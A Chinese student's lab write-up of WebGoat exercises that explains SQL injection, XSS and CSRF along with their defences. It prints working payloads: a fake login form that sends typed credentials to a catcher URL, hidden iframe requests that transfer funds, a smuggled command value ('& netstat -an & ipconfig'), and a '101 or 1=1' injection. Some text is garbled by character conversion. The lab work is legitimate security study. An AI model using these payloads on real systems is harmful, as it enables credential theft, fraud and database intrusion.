(1)SQL注入攻击原理,如何防护javascript
SQL注入攻击就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。html
一、 普通用户与系统管理员用户的权限要有严格的区分。java
二、 强迫使用参数化语句。web
三、 增强对用户输入的验证。正则表达式
四、使用SQL Server数据库自带的安全参数。sql
五、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。数据库
(2)XSS攻击的原理,如何防护浏览器
XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,由于有了cookie至关于有了seesion,有了这些信息就能够在任意能接进互联网的pc登录该网站,并以其余人的生份登录,作一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义安全
一、在表单提交或者url参数传递前,对须要的参数进行过滤。服务器
二、消除网站的XSS漏洞,须要网站开发者运用转义安全字符等手段。
(3)CSRF攻击原理,如何防护
CSRF(Cross site request forgery),即跨站请求伪造。咱们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来得到其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,由于该请求不是用户本意,因此称为“跨站请求伪造”。
通常并且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。由于CSRF攻击中的那个“伪造的请求”的URL地址,通常是经过XSS攻击来注入到服务器中的。因此其实CSRF是以XSS为基础的,也能够看作是XSS攻击的一种。
1.referer:由于伪造的请求通常是从第三方网站发起的,因此第一个防护方法就是判断 referer 头,若是不是来自本网站的请求,就断定为CSRF攻击。可是该方法只能防护跨站的csrf攻击,不能防护同站的csrf攻击(虽然同站的csrf更难)。
2.使用验证码:每个重要的post提交页面,使用一个验证码,由于第三方网站是没法得到验证码的。还有使用手机验证码,好比转帐是使用的手机验证码。
3.使用token:每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定位CSRF攻击。
4.将敏感操做又get改成post,而后在表单中使用token. 尽可能使用post也有利于防护CSRF攻击。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
存储型XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,经常使用于留言板,每次当用户查看留言信息时即触发。致使用户访问时载入非预期的页面或内容。
具体实例来讲明就是,黑客在留言板内插入恶意的html或者Javascript代码,而且提交。网站后台程序将留言内容存储在数据中,以后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了以前黑客的留言内容,而且直接插入在html页面中,这就可能致使黑客留言的脚本自己应该做为内容显示在留言板的,而后此时可能黑客的留言脚本被浏览器解释执行了。而后黑客经过javascript获取用户的cookie,根据这个cookie窃取用户信息,以后重定向网站到一个钓鱼网站;从新更改页面内容,伪装让客户输入用户名、密码,而后提交到黑客的服务器。
存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。
反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
此次实验的原理: 当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者能够用攻击脚本制做URL并将其张贴到另外一个网站上,发送电子邮件,或者以其余方式让受害者点击它。
打开xss的第三个攻击,在code框中输入带有攻击性的URL做为输入源:
跨站请求伪造,它与XSS不一样之处在于,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性
以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
咱们在message框中输入这样一串代码
PS:注意这里面的Screen和menu的值每一个人可能不同,能够在当前页面的下边有个Parameters进行查看,而后经过宽高设置成1像素,隐藏掉这个图片。我这里src=688,menu=900。
实验原理是:目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,经过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具备一个数字值,好比“5000”来启动一个传输,一个字符串值“确认”完成它。您能够从右边的插图复制该课程的参数,建立“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。不管谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
和上边的那个实验同样,查看页面下边Parameters中的src和menu值,此次又变成了678和900。
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转帐数额"> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM">
SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,好比不少影视网站泄露VIP会员密码大多就是经过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。SQL注入攻击是黑客对数据库进行攻击的经常使用手段之一。
"& netstat -an & ipconfig"
右键选择send to repeater
进入repeater页标签,选择Params将其中station的值改成101 or 1=1,点击Go运行,查看右侧代码能够看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
必定要注意!!!:在关闭了burpsuite以后,把浏览器的修改一改回去,不然浏览器上不了网,我在这弄了特别久T_T。
此次实验实在webgoat平台上作各类攻击,发现这个平台仍是很好用的,就是全英文很难受,实验全程离不开有道翻译T_T。虽然作的很开心,可是感受之后上网很惧怕了,攻击太多种多样了,随便登陆如下就可能被套取密码,看来仍是要当心呀。